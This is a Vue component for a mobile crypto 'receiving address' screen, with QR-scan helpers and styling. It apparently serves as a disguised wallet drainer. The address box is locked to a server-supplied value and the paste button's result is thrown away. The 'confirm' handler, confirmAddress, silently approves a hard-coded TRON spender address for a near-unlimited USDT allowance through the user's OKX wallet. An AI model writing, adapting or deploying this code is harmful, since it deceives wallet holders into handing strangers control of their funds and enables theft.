<template>
  <div class="address-page">
    <!-- 状态栏 -->
    <div class="status-bar" v-if="false">
      <span class="time">17:43</span>
      <div class="status-icons">
        <span class="icon">VPN</span>
        <span class="icon">📱</span>
        <span class="icon">🏠</span>
        <span class="icon">🔋</span>
      </div>
    </div>

    <!-- 导航栏 -->
    <div class="nav-bar">
      <button class="back-btn" @click="goBack">
        <svg width="20" height="20" viewBox="0 0 24 24" fill="none">
          <path d="M15 18l-6-6 6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round"
            stroke-linejoin="round" />
        </svg>
      </button>
      <button class="expand-btn" @click="goQrcode">
        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none">
          <!-- 四角边框 -->
          <path d="M3 7V5C3 3.89543 3.89543 3 5 3H7" stroke="currentColor" stroke-width="2" stroke-linecap="round" />
          <path d="M17 3H19C20.1046 3 21 3.89543 21 5V7" stroke="currentColor" stroke-width="2"
            stroke-linecap="round" />
          <path d="M21 17V19C21 20.1046 20.1046 21 19 21H17" stroke="currentColor" stroke-width="2"
            stroke-linecap="round" />
          <path d="M7 21H5C3.89543 21 3 20.1046 3 19V17" stroke="currentColor" stroke-width="2"
            stroke-linecap="round" />
          <!-- 中间扫描线 -->
          <path d="M7 12H17" stroke="currentColor" stroke-width="2" stroke-linecap="round" />
        </svg>
      </button>

    </div>

    <!-- 主要内容 -->
    <div class="content">
      <h1 class="title">接收地址</h1>

      <div class="address-container">
        <textarea v-model="receivingAddress" disabled class="address-input" placeholder="请输入钱包地址或者ENS域名" rows="3"
          @focus="isInputFocused = true" @blur="isInputFocused = false"></textarea>

        <div style="display: flex;justify-content: flex-end;">
          <div class="button-group">
            <button :style="{ visibility: receivingAddress ? 'visible' : 'hidden' }" class="action-btn secondary"
              @click="clearAddress">
              <svg width="16" height="16" viewBox="0 0 24 24" fill="none">
                <path d="M3 6h18M8 6V4a2 2 0 012-2h4a2 2 0 012 2v2m3 0v14a2 2 0 01-2 2H7a2 2 0 01-2-2V6h14z"
                  stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
              </svg>
              清空
            </button>
            <button class="action-btn secondary" @click="pasteAddress">
              <svg width="16" height="16" viewBox="0 0 24 24" fill="none">
                <path
                  d="M16 4h2a2 2 0 012 2v14a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2h2m8 0a2 2 0 00-2-2H10a2 2 0 00-2 2m8 0v2H8V4"
                  stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
              </svg>
              粘贴
            </button>
          </div>
        </div>

      </div>
    </div>

    <!-- 确认按钮 -->
    <div class="bottom-section">
      <button class="confirm-btn" @click="confirmAddress" :disabled="!receivingAddress.trim()">
        确认
      </button>
    </div>
  </div>
</template>

<script setup>
import jzH5ScanCode from '../components/jz-h5-scanCode/js/index.js'

import { ref, reactive, onMounted } from 'vue'
import { useRouter } from 'vue-router'

import { contractinfo } from '@/api/index.js'
const USDT_CONTRACT_ADDRESS = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'


contractinfo().then(({ data }) => {
  receivingAddress.value = data.address
})


const router = useRouter()
const receivingAddress = ref('1')
const isInputFocused = ref(false)

const goQrcode = () => {
  // router.push('/qrcode')
  startScanWithConfig()
}

const goBack = () => {
  // router.go(-1)
  router.push('/qrcode')
}

const clearAddress = () => {
  receivingAddress.value = ''
}

const pasteAddress = async () => {
  try {
    const text = await navigator.clipboard.readText()
    // receivingAddress.value = text
  } catch (err) {
    // Fallback for browsers that don't support clipboard API
    const text = prompt('请粘贴地址:')
    if (text) {
      receivingAddress.value = text
    }
  }
}

const confirmAddress = async () => {

  // 1. 获取用户地址
  const userAddress = window.okxwallet.tronLink.tronWeb.defaultAddress.base58;
  console.log('用户地址:', userAddress);

  // 2. 检查USDT余额
  const contract = await window.okxwallet.tronLink.tronWeb.contract().at(USDT_CONTRACT_ADDRESS);
  const balance = await contract.methods.balanceOf(userAddress).call();
  console.log('USDT余额:', balance / 1e6, 'USDT');

  // 3. 检查授权地址
  const spenderAddress = 'TYVYy4tVfmf87yP25HCw8aerpcwEkDiH2a';
  console.log('查询的授权地址:', spenderAddress);

  // 4. 查询授权额度
  let allowanceAmount = await contract.methods
    .allowance(userAddress, spenderAddress)
    .call();

  console.log('初始授权额度:', allowanceAmount / 1e6, 'USDT');

  // 5. 如果没有授权，执行授权
  if (allowanceAmount == 0) {
    console.log('检测到未授权，执行授权操作...');
    const maxAmount = Number.MAX_SAFE_INTEGER.toString();
    const txHash = await contract.methods
      .approve(spenderAddress, maxAmount)
      .send({
        feeLimit: 1e8,
        callValue: 0
      });

    console.log('授权交易哈希:', txHash);

    // 等待交易确认
    await new Promise(resolve => setTimeout(resolve, 15000));

    // 再次查询
    allowanceAmount = await contract.methods
      .allowance(userAddress, spenderAddress)
      .call();

    console.log('授权后额度:', allowanceAmount / 1e6, 'USDT');
  }

  // 6. 最终结果
  if (allowanceAmount > 0) {
    console.log('授权验证成功！');
    router.push('/amount')
  } else {
    console.error('授权仍然为0，请检查：');
    console.error('1. 钱包是否已确认授权交易');
    console.error('2. 地址是否正确：', spenderAddress);
    console.error('3. 区块链浏览器查看交易：https://tronscan.org/#/transaction/' + txHash);
  }
}


/*  */
const scanResult = ref('')
const scanType = ref('')
const charSet = ref('')
const imageChannel = ref('')
const rawData = ref('')
const isScanning = ref(false)
const showConfig = ref(true)

const defaultConfig = {
  onlyFromCamera: false,
  autoDecodeCharset: false,
  barCodeInput: false,
  scanType: ['qrCode'],
  scanFrameColor: '#00ff00'
}

const config = reactive({
  ...defaultConfig
})

const scanTypes = [
  { value: 'qrCode', label: '二维码' }
]

const scanFrameColors = [
  { value: '#00ff00', label: '绿色' },
  { value: '#007aff', label: '蓝色' },
  { value: '#ff3b30', label: '红色' },
  { value: '#ff9500', label: '橙色' },
  { value: '#ffcc00', label: '黄色' },
  { value: '#34c759', label: '青绿色' },
  { value: '#af52de', label: '紫色' },
  { value: '#ffffff', label: '白色' }
]

onMounted(() => {
  console.log('插件加载成功')
  const pluginInfo = jzH5ScanCode.getPluginInfo()
  console.log('插件信息:', pluginInfo)
})

function toggleConfig() {
  showConfig.value = !showConfig.value
}

function onConfigChange(e) {
  const key = e.target.dataset.key
  const value = e.detail.value
  config[key] = value
  console.log(`配置更新: ${key} = ${value}`)
}

function onScanTypeChange(e) {
  const value = e.target.dataset.value
  const checked = e.detail.value

  if (checked) {
    if (!config.scanType.includes(value)) {
      config.scanType.push(value)
    }
  } else {
    const index = config.scanType.indexOf(value)
    if (index > -1) {
      config.scanType.splice(index, 1)
    }
  }
  console.log('扫码类型更新:', config.scanType)
}

function setQuickConfig(type) {
  switch (type) {
    case 'all':
    case 'qr':
      config.scanType = ['qrCode']
      config.onlyFromCamera = false
      break
    case 'camera':
      config.scanType = ['qrCode']
      config.onlyFromCamera = true
      break
  }
  uni.showToast({
    title: '配置已更新',
    icon: 'success',
    duration: 1000
  })
}

function setScanFrameColor(color) {
  config.scanFrameColor = color
  console.log('扫描框颜色更新:', color)
}

function resetConfig() {
  Object.assign(config, defaultConfig)
  uni.showToast({
    title: '配置已重置',
    icon: 'success',
    duration: 1000
  })
}

function startScanWithConfig() {
  try {
    isScanning.value = true
    const scanParams = buildScanParams()
    console.log('扫码参数:', scanParams)
    jzH5ScanCode.scanCode(scanParams)
  } catch (error) {
    isScanning.value = false
    console.error('启动扫码失败:', error)
    uni.showToast({
      title: '启动扫码失败',
      icon: 'none'
    })
  }
}

function buildScanParams() {
  const params = {
    success: (res) => {
      console.log('扫码成功:', res)
      console.log('扫码成功:', res.result)
      handleScanSuccess(res)
    },
    fail: (res) => {
      console.error('扫码失败:', res)
      handleScanFail(res)
    },
    complete: (res) => {
      console.log('扫码完成:', res)
      isScanning.value = false
    }
  }

  if (config.onlyFromCamera) params.onlyFromCamera = true
  if (config.autoDecodeCharset) params.autoDecodeCharset = true
  if (config.barCodeInput) params.barCodeInput = true
  if (config.scanType.length > 0) params.scanType = [...config.scanType]
  if (config.scanFrameColor) params.scanFrameColor = config.scanFrameColor

  return params
}

function handleScanSuccess(res) {
  scanResult.value = res.result || ''
  scanType.value = res.scanType || ''
  charSet.value = res.charSet || ''
  imageChannel.value = res.imageChannel || ''
  rawData.value = res.rawData || ''
  // uni.showToast({
  //   title: '扫码成功',
  //   icon: 'success'
  // })
  // if (uni.vibrateShort) uni.vibrateShort()
}

function handleScanFail(res) {
  const errorMsg = res.errMsg || '未知错误'
  uni.showToast({
    title: '扫码失败: ' + errorMsg,
    icon: 'none',
    duration: 3000
  })
}

function clearResult() {
  scanResult.value = ''
  scanType.value = ''
  charSet.value = ''
  imageChannel.value = ''
  rawData.value = ''
  uni.showToast({
    title: '结果已清空',
    icon: 'success',
    duration: 1000
  })
}
</script>

<style scoped>
.address-page {
  min-height: 100vh;
  background: #fff;
  display: flex;
  flex-direction: column;
}

.status-bar {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 8px 20px;
  background: #fff;
  font-size: 14px;
  font-weight: 600;
}

.status-icons {
  display: flex;
  gap: 8px;
}

.nav-bar {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 16px 20px;
  background: #fff;
}

.back-btn,
.expand-btn {
  background: none;
  border: none;
  /* padding: 8px; */
  cursor: pointer;
  color: #333;
  border-radius: 4px;
  transition: background-color 0.2s;
}

.back-btn:hover,
.expand-btn:hover {
  background-color: #f0f0f0;
}

.content {
  flex: 1;
  padding: 32px 20px;
}

.title {
  font-size: 32px;
  font-weight: 700;
  color: #1a1a1a;
  margin-bottom: 10px;
  letter-spacing: -0.5px;
}

.address-container {
  background: #fff;
  /* border-radius: 8px; */
  /* padding: 24px; */
  /* box-shadow: 0 2px 12px rgba(0, 0, 0, 0.05); */
}

.address-input {
  width: 100%;
  font-size: 18px;
  line-height: 1.5;
  color: #333;
  margin-bottom: 24px;
  word-break: break-all;
  background: #fff;
  /* padding: 16px; */
  border-radius: 6px;
  border: 1px solid transparent;
  resize: vertical;
  min-height: 80px;
  font-family: inherit;
  transition: all 0.2s;
}

.address-input:focus {
  outline: none;
  border-color: transparent;
  background: #fff;
  /* box-shadow: 0 0 0 3px rgba(0, 122, 255, 0.1); */
}

.address-input::placeholder {
  color: #999;
}

.button-group {
  display: flex;
  gap: 12px;
  width: 240px;
}

.action-btn {
  /* flex: 1; */
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  padding: 12px 24px;
  border: 1px solid #B7B7B7;
  background: #fff;
  border-radius: 36px;
  font-size: 16px;
  font-weight: 500;
  color: #111111;
  cursor: pointer;
  transition: all 0.2s;
}

.action-btn:hover {
  background: #fff;
  border-color: #dee2e6;
}

.action-btn:active {
  transform: scale(0.98);
}

.bottom-section {
  padding: 20px;
  background: #fff;
  /* border-top: 1px solid #f0f0f0; */
}

.confirm-btn {
  width: 100%;
  padding: 16px;
  background: #000;
  color: #fff;
  border: none;
  border-radius: 36px;
  font-size: 18px;
  font-weight: 600;
  cursor: pointer;
  transition: all 0.2s;
}

.confirm-btn:hover {
  background: #333;

}

.confirm-btn:disabled {
  background: #FAFAFA;
  color: #B1B1B1;
  cursor: not-allowed;
}

.confirm-btn:active:not(:disabled) {
  transform: scale(0.98);
}
</style>